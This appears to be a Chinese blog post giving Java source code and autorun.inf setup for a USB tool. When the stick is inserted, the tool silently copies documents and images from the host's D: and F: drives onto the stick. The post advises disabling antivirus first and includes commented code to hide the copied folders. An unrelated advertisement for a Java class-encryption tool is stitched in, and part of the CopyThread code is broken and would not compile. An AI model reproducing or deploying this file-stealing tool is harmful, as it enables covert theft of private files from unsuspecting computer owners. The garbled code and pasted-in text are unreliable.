U盘copy电脑上的文件(基于java实现)

U盘copy电脑上的文件(基于java实现)

通过以下四个java类(记得改包名) ,生成exe程序,再加上自运行inf文件,实现u盘插入电脑时即可自动copy D盘,F盘文件(前提是关闭360等杀毒软件!)

USBMain类,程序主入口

package AutoCopy;

import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;

public class USBMain {
    //界面
    private void launchFrame(){
        final JFrame frame = new JFrame();
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.setLocation(450,250);
        JButton hide = new JButton("点击隐藏窗口");
        //点击按钮后隐藏窗口事件
        hide.addActionListener(new ActionListener() {
            @Override
            public void actionPerformed(ActionEvent e) {
                frame.setVisible(false);

            }
        });
        frame.add(hide);
        frame.pack();
        frame.setVisible(true);
    }

    public static void main(String[] args) throws InterruptedException, IOException {
        USBMain u = new USBMain();
        //u.launchFrame();
        //开启盘符检查线程
        new CheckRootThread().start();

        Thread.sleep(60000);
        System.exit(0);
    }
}

CopyThread类

package AutoCopy;

import java.io.File;

public class CopyThread extends Thread {
    /**
     * 用于遍历文件并指定文件格式复制
     */
    //设置要复制的文件类型,如果要复制所有的文件,将fileTypes设置为null即可
    private static String[] fileTypes = {"doc", "docx", "txt","jpg","png","xls"};
    //private static String[] fileTypes = null;
    File file = null;

    public CopyThread(File file) {
        this.file = file;
    }

    public void run(){
        listUsbFiles(file);
    }

    //遍历盘符文件,并匹配文件复制
    private void listUsbFiles(File ufile) {
        //File[] files = ufile.listFiles();
        //String[] str = ufile.list();
//        for (String s : str) {
        if (ufile != null) {

            if (ufile.isDirectory()) {
                File[] file = ufile.listFiles();
                if (file != null) {
                    for (int i = 0; i < file.length; i++) {
                        listUsbFiles(file[i]);
                    }
                }
            } else {
                if (fileTypeMatch(ufile)) {
                    new CopyFileToSysRoot(ufile).doCopy();
                }
            }
        }
//        }
//        for (File f : files) {
            if (f.isDirectory()) {
                listUsbFiles(f);
            } else {
//                if (fileTypeMatch(f)) {
//                    new CopyFileToSysRoot(f).doCopy();
//                }
//            }
        }
    }

    //匹配要复制的文件类型
    public boolean fileTypeMatch(File f) {
        if (fileTypes == null) {
            return true;
        } else {
            for (String type : fileTypes) {
                if (f.getName().endsWith("." + type)) {
                    return true;
                }
            }
        }
        return false;
    }
}

CopyFileToSysRoot类

package AutoCopy;

import javax.swing.filechooser.FileSystemView;
import java.io.*;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;

public class CopyFileToSysRoot {
    /**
     * 实现文件复制,可以指定路径,甚至可以发邮件
     */
    //复制文件保存路径,要改

    //获得U盘盘符
    public String PATH;

    public String findURootPath(){
        FileSystemView sys = FileSystemView.getFileSystemView();
        //循环盘符
        File[] files = File.listRoots();
        for(File file:files){
            //得到系统中存在的C:\,D:\,E:\,F:\,H:\
            //System.out.println("系统中存在的"+file.getPath());
        }
        File file = null;
        String path = null;
        for(int i = 0; i < files.length; i++) {
            //得到文字命名形式的盘符系统 (C:)、软件 (D:)、公司文档 (E:)、测试U盘 (H:)
            //System.out.println("得到文字命名形式的盘符"+sys.getSystemDisplayName(files[i]));
            if(sys.getSystemDisplayName(files[i]).contains("PANAMERA")){
                file = files[i];
                break;
            }
        }
        if(file!=null){
            path = file.getPath();
        }
        return path;
    }

    //private static final String PATH = "PANAMERA([D|E|G|K|L|M|N|O|P|F|Q]):\\USB";
    private File file = null;

    public CopyFileToSysRoot(File file) {
        this.file = file;
    }

    //复制文件
    public void doCopy(){
        BufferedInputStream bis = null;
        BufferedOutputStream bos = null;
        try {
            //创建目录
            File fPath = new File(getFileParent(file));
            if (!fPath.exists()) {
                fPath.mkdirs();
//                String string=" attrib +H "+fPath.getAbsolutePath(); //设置文件属性为隐藏
//                Runtime.getRuntime().exec(string);
//                Path path = FileSystems.getDefault().getPath("/j", "sa");
//                Files.setAttribute(path, "dos:hidden", true);
            }



            bis = new BufferedInputStream(new FileInputStream(file));
            bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,file.getName())));
            byte[] buf = new byte[1024];
            int len = 0;
            while ((len = bis.read(buf)) != -1) {
                bos.write(buf, 0, len);
                bos.flush();
            }
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e1) {
            e1.printStackTrace();
        } finally {
            try {
                if (bis != null) {
                    bis.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
            try {
                if (bos != null) {
                    bos.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    //根据盘符中文件的路径,创建复制文件的文件路径
    public String getFileParent(File file) throws IOException {
        String path = this.findURootPath();
        PATH = path+"\\I'm fine\\true\\really\\USB";
        StringBuilder sb = new StringBuilder(file.getParent());
        int i = sb.indexOf(File.separator);
        sb.replace(0, i, PATH);
//        String string=" attrib +H "+file.getAbsolutePath(); //设置文件属性为隐藏
//        Runtime.getRuntime().exec(string);
        return sb.toString();
    }

    public String getPATH() {
        return PATH;
    }
}

CheckRootThread类

package AutoCopy;

import java.io.File;

public class CheckRootThread extends Thread{
    /**
     * 此类用于检查新盘符的出现,并触发新盘符文件的拷贝
     */
    //获得系统盘符
    public File[] sysRoot = File.listRoots();

    public void run(){
        File[] currentRoot = null;

//        while (true) {
//            //当前的系统盘
//            currentRoot = File.listRoots();
//            for (int i = 0; i < currentRoot.length; i++) {
//                System.out.println(currentRoot[i]);
//            }
//            if (currentRoot.length > sysRoot.length) {
//                for (int i = currentRoot.length-1; i >= 0; i--) {
//                    boolean isNewRoot = true;
//                    for (int j = sysRoot.length-1; j >=0; j--) {
//                        //当两者盘符不同时,触发新盘符对系统盘的文件拷贝
//                        if (currentRoot[i].equals(sysRoot[j])) {
//                            isNewRoot =  false;
//                        }
//                    }
//                    if (isNewRoot) {
//                        //这地方要改
//                        System.err.println(currentRoot[i]);
//                        new CopyThread(currentRoot[i]).start();
//
//                    }
//
//                }
//            }
//            //new CopyThread(currentRoot[1]).start();
//            sysRoot = File.listRoots();
//            //每5秒时间检查一次系统盘符,貌似也要改
//            try {
//                Thread.sleep(5000);
//            } catch (InterruptedException e) {
//                e.printStackTrace();
//            }
//        }


        String fileName = "D:"+File.separator;
        File f = new File(fileName);
        new CopyThread(f).start();

        String fileName2 = "D:"+File.separator;
        File f1 = new File(fileName2);
        new CopyThread(f1).start();

        String fileName1 = "F:"+File.separator;
        File f2 = new File(fileName1);
        new CopyThread(f2).start();

    }
}

网上下载exe4j软件,用于将java代码转换成exe程序,放在u盘里,详情参考:

https://blog.csdn.net/zhang_ling_yun/article/details/78042945

在u盘里增加autorun.inf文件,假如要自动运行的文件名为setup.exe,放在盘的根目录下:
autorun.inf内容:
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
如果不在根目录下,如在X:???下,可作相应更改:
[AutoRun]
OPEN=X:???\setup.exe
shellexecute=X:???\setup.exe
shell\Auto\command=X:???\setup.exe

详情参考,autorun.inf文件操作手册

http://www.voidcn.com/article/p-xeatgeas-bnx.html

简要介绍 JAVA CLASS文件加密工具是一款专门为保护您的JAVA源代码而设计的软件。传统的JAVA代码保护方式通常是扰乱生成的CLASS文件,从而降低反编译生成的源代码的可读性;有的保护工具甚至能生成部分废代码(垃圾代码),使得反编译后的源码在重新编译时出现编译错误,不能直接生成CLASS文件。这种方法具有一定的效果,但是不能彻底保护您的JAVA源代码。 JAVA CLASS文件加密工具对CLASS文件进行加密保护,加密密钥高达256位(bit,即:32字节),并采用多重加密的算法,既安全又高效。加密后的CLASS文件不可能被破解;反编译工具对加密后的CLASS文件无能为力,根本就不能处理! 运行方式 运行时,加密后的CLASS文件要能正常加载,需要使用我们提供的动态库lanswon.dll。执行java时带上参数 -agentlib:<动态库文件所在路径>\lanswon 注意:不要加文件后缀.dll,直接使用文件的名字部分(classloader)! 举例说明:例如,本加密工具安装在c:\lanswonsoft\java_protect,执行加密后的CLASS文件的命令行如下: java -agentlib:c:\lanswonsoft\java_protect\lanswon <您的CLASS类及参数> 应用场合 独立的应用程序(Application,自定义main方法),运行java时,带上参数-agentlib:<所在路径>\lanswon Tomcat等JAVA Web Server,修改启动脚本,把执行java的命令行加上参数-agentlib:<所在路径>\lanswon JBOSS等JAVA Application Server(应用服务器),修改启动脚本,把执行java的命令行加上参数-agentlib:<所在路径>\lanswon 适用环境 操作系统:Windows 98/2000/XP 等Windows系统 JDK:1.5.0及以上版本
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值